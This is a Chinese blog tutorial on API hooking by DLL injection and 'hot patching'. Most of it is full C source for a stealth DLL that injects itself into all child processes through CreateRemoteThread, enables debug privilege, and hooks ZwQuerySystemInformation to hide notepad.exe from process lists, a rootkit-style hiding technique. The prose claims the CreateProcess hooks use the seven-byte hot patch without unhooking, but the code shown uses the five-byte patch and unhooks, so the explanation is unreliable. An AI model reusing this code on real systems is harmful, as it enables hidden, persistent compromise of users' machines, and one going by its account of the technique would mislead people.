通过注入DLL后使用热补丁钩取API
通过注入DLL后使用热补丁钩取API
0x00 对比修改API的前五个字节钩取API
对前一种方法钩取API的流程梳理如下:
- 注入相应的DLL
- 修改原始AI的函数的前五个字节跳往新函数(钩取API)
- 跳往新函数后需调用原始API的功能,所以先把那五个替换的字节换回来(脱钩)
- 调用原始API
- 再次注入dll
- 再次挂钩
所以每次进入新函数后就要反复进行挂钩脱钩,这是一个极度消耗cpu的工作,特别是对于要整个系统的进程都要注入dll时就更要命了。
现在有一种更好的方式来弥补这种方法的不足,这就是热补丁法,他利用的是更改API函数地址前的七个字节的无功能性,来实现的。
如下图:




我们从上图可以知道这些API函数前面的七个字节都是
90 Nop
90 Nop
90 Nop
90 Nop
90 Nop
8BFF MOV EDI,EDI
这六句话共占7个字节,并没有实际意义而8BFF MOV EDI,EDI
是API的首地址。所以更改这里并不会对函数调用产生影响。所以这里跳转至新函数后,新函数再调用原始API时就不用脱钩。这样就给系统减小了负担,也减少了崩溃的风险。
0x01 实现代码
代码的与五字补丁不同的地方在于,找到原始API地址之后是对API首地址的后两个字节以及首地址前的五个字节进行修改,并且在新的函数中调用原始API时不用进行脱钩操作。
代码如下:
#include "windows.h"
#include "stdio.h"
#include "tchar.h"
#define STR_MODULE_NAME (L"stealth2.dll")
#define STR_HIDE_PROCESS_NAME (L"notepad.exe")
#define STATUS_SUCCESS (0x00000000L)
typedef LONG NTSTATUS;
//系统信息结构体
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemProcessInformation = 5,
SystemProcessorPerformanceInformation = 8,
SystemInterruptInformation = 23,
SystemExceptionInformation = 33,
SystemRegistryQuotaInformation = 37,
SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;
//进程信息结构体
typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset;
BYTE Reserved1[52];
PVOID Reserved2[3];
HANDLE UniqueProcessId;
PVOID Reserved3;
ULONG HandleCount;
BYTE Reserved4[4];
PVOID Reserved5[11];
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
LARGE_INTEGER Reserved6[6];
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
//PFZWQUERYSYSTEMINFORMATION是一个函数指针
/*
一个指向参数为
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
的返回值类型为NTSTATUS的函数,这个函数其实就是ZwQuerySystemInformation()API函数,NTSTATUS是一个长整型数。
*/
typedef NTSTATUS (WINAPI *PFZWQUERYSYSTEMINFORMATION)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);
/*
PFCREATEPROCESSA是一个函数指针
这个指针指向参数为:
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
的返回值类型为BOOL的函数,这个函数其实就是CreateProcessA()API函数
*/
typedef BOOL (WINAPI *PFCREATEPROCESSA)(
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
/*
PFCREATEPROCESSW是一个函数指针
这个指针指向参数为:
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
的返回值类型为BOOL的函数,这个函数其实就是CreateProcessW()API函数
*/
typedef BOOL (WINAPI *PFCREATEPROCESSW)(
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
BYTE g_pOrgCPA[5] = {0,};
BYTE g_pOrgCPW[5] = {0,};
BYTE g_pOrgZwQSI[5] = {0,};
//替换原API函数首地址的前五个字节为NewCreateProcessA和NewCreateProcessW
BOOL hook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PROC pfnNew, PBYTE pOrgBytes)
{
FARPROC pFunc;
DWORD dwOldProtect, dwAddress;
BYTE pBuf[5] = {0xE9, 0, };
PBYTE pByte;
pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
pByte = (PBYTE)pFunc;
if( pByte[0] == 0xE9 )
return FALSE;
VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
memcpy(pOrgBytes, pFunc, 5);
dwAddress = (DWORD)pfnNew - (DWORD)pFunc - 5;
memcpy(&pBuf[1], &dwAddress, 4);
memcpy(pFunc, pBuf, 5);
VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);
return TRUE;
}
//将被替换的API函数前五个字节换回去
BOOL unhook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PBYTE pOrgBytes)
{
FARPROC pFunc;
DWORD dwOldProtect;
PBYTE pByte;
pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
pByte = (PBYTE)pFunc;
if( pByte[0] != 0xE9 )
return FALSE;
VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
memcpy(pFunc, pOrgBytes, 5);
VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);
return TRUE;
}
//提权函数
BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
{
TOKEN_PRIVILEGES tp;
HANDLE hToken;
LUID luid;
if( !OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
&hToken) )
{
printf("OpenProcessToken error: %u\n", GetLastError());
return FALSE;
}
if( !LookupPrivilegeValue(NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid) ) // receives LUID of privilege
{
printf("LookupPrivilegeValue error: %u\n", GetLastError() );
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if( bEnablePrivilege )
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
// Enable the privilege or disable all privileges.
if( !AdjustTokenPrivileges(hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES) NULL,
(PDWORD) NULL) )
{
printf("AdjustTokenPrivileges error: %u\n", GetLastError() );
return FALSE;
}
if( GetLastError() == ERROR_NOT_ALL_ASSIGNED )
{
printf("The token does not have the specified privilege. \n");
return FALSE;
}
return TRUE;
}
//注入函数,使用这个函数向新建的子进程注入stealth2.dll
BOOL InjectDll2(HANDLE hProcess, LPCTSTR szDllName)
{
HANDLE hThread;
LPVOID pRemoteBuf;
DWORD dwBufSize = (DWORD)(_tcslen(szDllName) + 1) * sizeof(TCHAR);
FARPROC pThreadProc;
pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize,
MEM_COMMIT, PAGE_READWRITE);
if( pRemoteBuf == NULL )
return FALSE;
WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllName,
dwBufSize, NULL);
pThreadProc = GetProcAddress(GetModuleHandleA("kernel32.dll"),
"LoadLibraryW");
hThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)pThreadProc,
pRemoteBuf, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);
CloseHandle(hThread);
return TRUE;
}
//创建新的ZwQuerySystemInformation函数
NTSTATUS WINAPI NewZwQuerySystemInformation(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength)
{
NTSTATUS status;
FARPROC pFunc;
PSYSTEM_PROCESS_INFORMATION pCur, pPrev;
char szProcName[MAX_PATH] = {0,};
//调用原始API前先脱钩
unhook_by_code("ntdll.dll", "ZwQuerySystemInformation", g_pOrgZwQSI);
//获取模块ntdll的函数ZwQuerySystemInformation的地址
pFunc = GetProcAddress(GetModuleHandleA("ntdll.dll"),
"ZwQuerySystemInformation");
//通过指针调用ZwQuerySystemInformation返回进程信息链表的首地址到SystemInformation。
status = ((PFZWQUERYSYSTEMINFORMATION)pFunc)
(SystemInformationClass, SystemInformation,
SystemInformationLength, ReturnLength);
//获取失败则退出
if( status != STATUS_SUCCESS )
goto __NTQUERYSYSTEMINFORMATION_END;
//当调用获取到的是进程信息时(SystemInformationClass这个参数可以是进程信息类,也可以是其他,具体的取MSDN上查询)
if( SystemInformationClass == SystemProcessInformation )
{
pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
while(TRUE)
{
if(pCur->Reserved2[1] != NULL)
{
//找到notePad.exe后操作链表将其删除,这样就达到了隐藏的目的
if(!_tcsicmp((PWSTR)pCur->Reserved2[1], STR_HIDE_PROCESS_NAME))
{
if(pCur->NextEntryOffset == 0)
pPrev->NextEntryOffset = 0;
else
pPrev->NextEntryOffset += pCur->NextEntryOffset;
}
else
pPrev = pCur;
}
if(pCur->NextEntryOffset == 0)
break;
//让指针指向下一项
pCur = (PSYSTEM_PROCESS_INFORMATION)((ULONG)pCur + pCur->NextEntryOffset);
}
}
__NTQUERYSYSTEMINFORMATION_END:
//退出之前先钩取,为下次循环做准备
hook_by_code("ntdll.dll", "ZwQuerySystemInformation",
(PROC)NewZwQuerySystemInformation, g_pOrgZwQSI);
return status;
}
//新建的CreateProcessA函数
BOOL WINAPI NewCreateProcessA(
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
)
{
BOOL bRet;
//FARPROC是一个指向far过程的指针JMP跳转至指定far过程用得着
FARPROC pFunc;
// 调用原始API之前先脱钩unhook
unhook_by_code("kernel32.dll", "CreateProcessA", g_pOrgCPA);
// 调用原始的API
pFunc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateProcessA");
bRet = ((PFCREATEPROCESSA)pFunc)(lpApplicationName,
lpCommandLine,
lpProcessAttributes,
lpThreadAttributes,
bInheritHandles,
dwCreationFlags,
lpEnvironment,
lpCurrentDirectory,
lpStartupInfo,
lpProcessInformation);
// 向生成的子进程注入stealth32.dll
if( bRet )
InjectDll2(lpProcessInformation->hProcess, STR_MODULE_NAME);
// 功能完成之后再次钩取APIhook,为下次循环做准备
hook_by_code("kernel32.dll", "CreateProcessA",
(PROC)NewCreateProcessA, g_pOrgCPA);
return bRet;
}
//新建的NewCreateProcessW函数
BOOL WINAPI NewCreateProcessW(
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
)
{
BOOL bRet;
FARPROC pFunc;
//// 调用原始API之前先脱钩unhook
unhook_by_code("kernel32.dll", "CreateProcessW", g_pOrgCPW);
//调用原来的API
pFunc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateProcessW");
bRet = ((PFCREATEPROCESSW)pFunc)(lpApplicationName,
lpCommandLine,
lpProcessAttributes,
lpThreadAttributes,
bInheritHandles,
dwCreationFlags,
lpEnvironment,
lpCurrentDirectory,
lpStartupInfo,
lpProcessInformation);
// 向新生成的子进程注入stealth2.dll
if( bRet )
InjectDll2(lpProcessInformation->hProcess, STR_MODULE_NAME);
// 再次钩取API,为下次循环做准备
hook_by_code("kernel32.dll", "CreateProcessW",
(PROC)NewCreateProcessW, g_pOrgCPW);
return bRet;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
char szCurProc[MAX_PATH] = {0,};
char *p = NULL;
// 异常处理是注入不会发生在HideProc2.exe进程
GetModuleFileNameA(NULL, szCurProc, MAX_PATH);
p = strrchr(szCurProc, '\\');
if( (p != NULL) && !_stricmp(p+1, "HideProc2.exe") )
return TRUE;
// 提权
SetPrivilege(SE_DEBUG_NAME, TRUE);
switch( fdwReason )
{
case DLL_PROCESS_ATTACH :
// DLL载入后钩取三个API
hook_by_code("kernel32.dll", "CreateProcessA",
(PROC)NewCreateProcessA, g_pOrgCPA);
hook_by_code("kernel32.dll", "CreateProcessW",
(PROC)NewCreateProcessW, g_pOrgCPW);
hook_by_code("ntdll.dll", "ZwQuerySystemInformation",
(PROC)NewZwQuerySystemInformation, g_pOrgZwQSI);
break;
case DLL_PROCESS_DETACH :
// DLL卸载后对三个API脱钩
unhook_by_code("kernel32.dll", "CreateProcessA",
g_pOrgCPA);
unhook_by_code("kernel32.dll", "CreateProcessW",
g_pOrgCPW);
unhook_by_code("ntdll.dll", "ZwQuerySystemInformation",
g_pOrgZwQSI);
break;
}
return TRUE;
}
这里要注意的的是ZwQuerySystemInformation()API采用的是五字补丁法,故在新建的函数NewZwQuerySystemInformation()要先脱钩,至于原因,后面会讲到。而CreateProcessA()API函数以及CreateProcessW()API函数采用的是七字补丁法,所以我们在新函数调用NewCreateProcessA()以及NewCreateProcessW()调用原始API时不用脱钩就可以使用了。
0x02 七字补丁法的的缺点
相对于五字补丁法,七字补丁似乎完胜,即比它简单容易理解,还会减轻系统负担。但是事情往往没有那么简单。事实上五字补丁法几乎是万能的,只要找到API就可以进行钩取,而七字补丁法却不行。原因就在于很多API,特别是底层的API,比如ntdll中的API往往不能满足七字补丁法的使用条件,原因就是这些底层的API很短,没有足够的七个无用字节供你修改。比如前面的那个ZwQuerySystemInformation()API函数。所以使用七字补丁法前要确认API函数前面是否还有足够的空间。
通过注入DLL后使用热补丁钩取API的更多相关文章
- 通过注入DLL修改API代码实现钩取(一)
通过注入DLL修改API代码实现钩取(一) Ox00 大致思路 通过CreateRemoteThread函数开辟新线程,并将DLL注入进去 通过GetProcessAddress函数找到需钩取的API ...
- 【腾讯bugly干货分享】微信Android热补丁实践演进之路
本文来自于腾讯bugly开发者社区,非经作者同意,请勿转载,原文地址:http://bugly.qq.com/bbs/forum.php?mod=viewthread&tid=1264& ...
- 微信Android热补丁实践演进之路
版权声明:本文由张绍文原创文章,转载请注明出处: 文章原文链接:https://www.qcloud.com/community/article/81 来源:腾云阁 https://www.qclou ...
- 高级全局API钩取 - IE连接控制
@author: dlive @date: 2017/02/14 0x01 调试IE进程 常见网络连接库:ws2_32.dll(套接字),wininet.dll,winhttp.dll 使用Proce ...
- 《逆向工程核心原理》Windows消息钩取
DLL注入--使用SetWindowsHookEx函数实现消息钩取 MSDN: SetWindowsHookEx Function The SetWindowsHookEx function inst ...
- DLL注入之windows消息钩取
DLL注入之windows消息钩取 0x00 通过Windows消息的钩取 通过Windows消息钩取可以使用SetWindowsHookEx.该函数的原型如下: SetWindowsHookEx( ...
- 【腾讯Bugly干货分享】QFix探索之路—手Q热补丁轻量级方案
本文来自于腾讯bugly开发者社区,非经作者同意,请勿转载,原文地址:http://dev.qq.com/topic/57ff5832bb8fec206ce2185d 导语 QFix 是手Q团队近期推 ...
- Windows x86/ x64 Ring3层注入Dll总结
欢迎转载,转载请注明出处:http://www.cnblogs.com/uAreKongqi/p/6012353.html 0x00.前言 提到Dll的注入,立马能够想到的方法就有很多,比如利用远程线 ...
- Android 热补丁动态修复框架小结
一.概述 最新github上开源了很多热补丁动态修复框架,大致有: https://github.com/dodola/HotFix https://github.com/jasonross/Nuwa ...
随机推荐
- tensorflow2.0学习笔记
今天我们开始学习tensorflow2.0,用一种简单和循循渐进的方式,带领大家亲身体验深度学习.学习的目录如下图所示: 1.简单的神经网络学习过程 1.1张量生成 1.2常用函数 1.3鸢尾花数据读 ...
- 温故知新-Mysql索引结构&页&聚集索引&非聚集索
文章目录 摘要 索引 索引概述 索引优势劣势 索引结构 BTREE 结构 B+TREE 结构 页 索引分类 索引语法 索引设计原则 聚触索引 & 非聚触索引 你的鼓励也是我创作的动力 Post ...
- Python 抓取网页tag操作
1. 获取操作tag 获取操作tag的接种方式: soup.find_all(name=None, attrs={}, recursive=True, text=None, limit=None, * ...
- Dedecms 修改当前位置样式
当前列表页间隔符样式修改 后台-->系统基本参数-->核心设置-->栏目位置的间隔符号 只有二级位置栏目时的间隔符去除 找到include文件中的typelink.class.php ...
- ORM框架 Mybatis、Hibernate、Spring Data JPA之到底该用谁,谁更牛*
在持久层框架中无可厚非的就是mybatis了,但是也会经常被人问到为啥要用mybatis,为啥不用hibernate,jpa.很多人各级都是地铁爷爷看手机的表情,似乎从来没想过这个问题.“公司叫用我就 ...
- 从JRaft来看Raft协议实现细节
分布式系统和一致性问题 一致性问题(consensus problem)是分布式系统需要解决的一个核心问题.分布式系统一般是由多个地位相等的节点组成,各个节点之间的交互就好比几个人聚在一起讨论问题.让 ...
- web scraper无法解决爬虫问题?通通可以交给python!
今天一位粉丝的需求所涉及的问题值得和大家分享分享~~~ 背景问题 是这样的,他看了公号里的关于web scraper的系列文章后,希望用它来爬取一个网站搜索关键词后的文章标题和链接,如下图 按照教程, ...
- Flask框架基础功能
引言 本文简单汇总Flask框架几大基础功能,包括: 路由系统 模板 数据库 几种常用Flask库 一个简单的Flask事例 Flask是一个基于Python,依赖Jinja2模板和WSGI服务的框架 ...
- 11.DRF-权限
Django rest framework源码分析(2)----权限 添加权限 (1)API/utils文件夹下新建premission.py文件,代码如下: message是当没有权限时,提示的信息 ...
- 从零开始手把手教你使用原生JS+CSS3实现幸运水果机游戏
项目体验地址 免费视频教程 游戏介绍 幸运水果机是一款街机游戏,游戏界面由24个方格拼接成一个正方形,每个方格中都有一个不同的水果图形,方格下都有一个小灯.玩家使用游戏币选择希望押注的目标,按下开始后 ...